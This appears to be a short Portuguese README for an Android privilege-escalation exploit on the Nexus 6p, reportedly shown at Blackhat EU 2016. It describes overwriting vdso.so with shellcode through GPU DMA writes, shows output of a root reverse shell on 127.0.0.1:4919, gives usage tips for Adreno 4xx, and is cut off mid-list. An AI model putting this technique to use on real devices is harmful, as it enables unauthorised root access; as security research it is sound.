
Testado em Nexus 6p (google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys)
Discutida em 2016 via Blackhat EU
Com gravações de dma via iommu, o vdso.so é sobrescrito com shellcode.
Assim, depois que o /init executa __kernel_clock_gettime, o shellcode será executado.
O processo /init então estabelece uma conexão reversa com um shell root.
Reverse shell target: 127.0.0.1:4919
shellcode patch done
hook patch done
Waiting for reverse connect shell...
TERMINAL>>>
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0
Exclua /data/local/tmp/x, se existir, antes da exploração.
Se o tempo de espera for muito longo, tente abrir as opções de "Data e hora" nas configurações do seu telefone.
Verifique a versão do adreno; atualmente, esta exploração foi feita para a série 4xx.
Para 5xx e superiores: